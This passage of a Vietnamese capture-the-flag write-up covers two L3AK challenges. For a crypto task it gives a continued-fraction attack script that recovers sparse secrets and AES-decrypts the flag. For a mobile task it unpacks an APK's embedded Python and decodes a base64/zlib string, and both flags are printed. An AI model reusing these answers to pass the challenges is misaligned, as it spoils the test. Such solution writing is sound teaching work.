56097832111547535908988433816919747615817161606620557307000377194730013431815560750159027842164901422544571224546936793234970894954668425436412347785376194310030139080568383420772628618722646109707506566928102800033961704343991962002059794565527774913883237756792720065543768640792177441559278272350823092843683534396679150229676101834243787820420087274028617212684576388733605769491224109866592577360666241467280158988605523486345880882227855505706309276349415034547677180618296352866263005509222254318459768194126727603047460344175581029298320171226355234439676816309919127574206334807719021875413891580871529049187829308412133400910419756313021540478436604178446757738998632083586207992234085162634375406771169707323213988284943779122171985953605897902291781768286548287878180415060635460047164104095483777201737468873324068550430695826210304316336385311384093490021332372463463373977427405896673827544203128574874581960335232005637229319592369288171375276702260450911735069504025016667755214932073643654199488477010363909372005757899989580775775126621113057905717449417222016070530243916116705990451304256206318289297738303095152430549772239514964821601838628861446301936017710546777503109263030994747397618576207373447725441427135362428360863669327157635983045447971816718801639869547525146305655571843717916875669140320724978568586718527586602439602335283513944980064327030278104224144971883680541689784796267391476087696392191
h = 1420555256339029007623997813064646001269162517128321148445315195505239735275630861823661566974806499472047280215484592996005803648513302169629626127099758282515738821101977445273485022910246569722391022977450955342222836145985252124058212342529128780170990021228730988558665064173954220322773988555167710669068750665776903981634200337373777404012466927646596680586333670581651645526694895600877689342038116459849183193823872501035663586605107067192354044210531807251755452156351983674662886645745394856941265207731156473167231778757731819787611903442134906892597442296936233823840108134806009542341564017395586357285132443867104900170964829691269535011088959513758953200725927512241315102588162307625667497293774446856607793870742116890747893541277522373302165118962976053575406705355764971195021874784514615007411950628751457901414286417358960010967221053822454908696424925405704175995633020493142678213202614937742894400381343076316089897622795515556015286002072322759700438579099970591676839009309031769399502594275266218377682472239872586976705452556133518395328415914503518652542017532651647731241407171312901187911076641932472943264583606924316675349565466488903831076073348850535782518384829652304040155890590587188783695482711889391210316569992875826864203896074373913044155630807488027391070097591354568591831261212998547450723243648908349081702648981754965087366716012704456844050856945098481648381066456654298504766274287677173531407712216638604928122194203916328841926799970191645315242073698356237463109990735562385573707846536974481579821301372474435457099406760484280999724263427442692583436069170036373949813257024671755403669821456270665060921956691382969799591246457852441573272563366612307625286201260042625086965961053006988659415151285688613563697564208949796608132657497688137512977726996868089866737746050625960033949688003905344289968553237468369562275970721124808922797498954729192402174080310105048553480796371124861551154608423542660872024811406457451424253705687979915395138199662324871095873255085721494088182389344068642956910343125988440788281536821574417589504214561018112652377091738873567384795002650440795826732903483284697533314215503203322729252515102929675782158033940939707173384735831945973131378767145549237414530035857282428664740004024186722896592693839808003379490048051781800528316131147063192114353380299163535474170148552078839155797722939143164848128170591789817861428901096912042379655572487529983245927123870716371357517142431645561532273325783362132723664729122853387243023889022825534772304668999948890306453633124290070865560117725343418936602004343258378292218254184989796563841886060342528155126255491479519793234521554762270234424568183556174229507271089194135988143493032829906811846783521409480751862383365285419925324896562580231684692411694312251240562954259361596977465804532938260753882101880890334741978448410119591665004422790211098229717537610959221523324756588024738544068846236205437760843840319798491939909330547143199854608585823646613660809454152858803614876632067827324289956927912056108902075641611668181460557770913959037715741018607941206784764550084749008826004455090269295539665469266276760215529247213893160911919455625283080509926624966775395334197154212462026901783136821516237970556846369147663455890608535960863730071819706481755582989771193307683239283077479511187437689338027648438450206074052
xi1 = 0.31
xi2 = 0.69
w = 10
```
Dựa vào đây ta dễ thấy:
- Flag được mã hóa bằng AES-CBC với khóa từ `secret`
- In ra các tham số (p, h, xi1, xi2, w) + ciphertext.
-> Phải tìm lại f, g từ h, sau đó giải mã để lấy flag.
Từ file `chal.py`, ta thấy:

=> f, g rất thưa bit, nên dễ bị tấn công.
Từ công thức: `h·g ≡ f (mod p)`
=> tồn tại số nguyên k sao cho: ` h·g - p·k = f`
Bài toán tìm (f, g) thành: Tìm nghiệm nguyên (g, k) sao cho `h·g - p·k` rất nhỏ và thưa bit.
**Đây chính là Hidden Number Problem (HNP)** nên ta sẽ dùng: (https://github.com/kelbyludwig/notebooks/blob/master/The%20Hidden%20Number%20Problem.ipynb)
- Phân số liên tiếp (continued fractions)

Code hoàn chỉnh:
```python
from hashlib import sha3_256
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import re, tarfile
# B1: Load dữ liệu
with tarfile.open("mersenne-mayhem.tar.xz", "r:xz") as t:
txt = t.extractfile("output.txt").read().decode()
p = int(re.search(r"p\s*=\s*(\d+)", txt).group(1))
h = int(re.search(r"h\s*=\s*(\d+)", txt).group(1))
ciph = bytes.fromhex(re.search(r"Ciphertext\s*=\s*([0-9a-f]+)", txt).group(1))
BF, BG, W = 3476, 7736, 10 # tham số cố định
# B2: Sinh convergent
def convergents(num, den):
a,b,c,d = 1,0,0,1
while den:
q = num // den
num, den = den, num - q*den
a,b,c,d = q*a+c, q*b+d, a, b
yield a, b # a/b ~ num/den
def popcount(x): return bin(x).count("1")
# B3: Lọc nghiệm (f, g)
for k, g in convergents(h, p):
r = h*g - p*k # dư
if g.bit_length()!=BG or popcount(g)!=W: continue
if abs(r).bit_length()!=BF or popcount(abs(r))!=W: continue
f = abs(r); break
else:
raise Exception("Không tìm thấy nghiệm!")
# B4: Giải mã
secret = f * g
key = sha3_256(secret.to_bytes((secret.bit_length()+7)//8,'big')).digest()
iv, ct = ciph[:16], ciph[16:]
flag = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), 16)
print(flag.decode())
```
```
Flag: L3AK{4jp2_n0t_s0_str0ng}
```
## Mobile
### BrainCalc

Trước hết ta sẽ giải nén file ```.apk```:
```unzip app-debug1.apk -d extracted_apk/```
Sau đó kiểm tra thư mục vừa giải nén ```tree extracted_apk/ -L 2```
Sau khi giải nén xong và xác nhận thư mục ```assets/chaquopy``` đã tồn tại — đây chính là nơi chứa code Python được nhúng bên trong app.

Ta sẽ di chuyển đến thư mục chứa ```Chaquopy``` và kiểm tra nội dung thư mục:
```
cd extracted_apk/assets/chaquopy
ls -lh
```

Khi thấy có ```file app.imy``` - đây là file quan trọng nhất chứa phần mã Python đã được biên dịch của ứng dụng (dưới dạng ```.pyc```) ta sẽ đổi tên ```app.imy``` thành ```.zip``` để có thể giải nén được.
```
cp app.imy app.zip
unzip app.zip -d unpacked_py
```
Sau khi giải nén toàn bộ nội dung bên trong ```app.imy``` (giờ là app.zip) vào thư mục ```unpacked_py/``` ta sẽ tìm các file ```.pyc``` vừa giải nén

Ta có thể thấy ```unpacked_py/BrainCalc/app.pyc``` là file chứa logic chính và flag vì vậy ta sẽ giải mã flag bằng script Python
```python
import zlib, base64
# Chuỗi base64 + zlib được lấy từ hàm get_secret_reward
s = 'eJzzMXb0rvYqLS6JN4kPNynKjQ8tiHfOMMnJqQUAeHcJQA=='
# Giải mã và in flag
flag = zlib.decompress(base64.b64decode(s)).decode()
print("✅ FLAG:", flag)
```

```
FLAG: L3AK{Just_4_W4rm_Up_Ch4ll}
```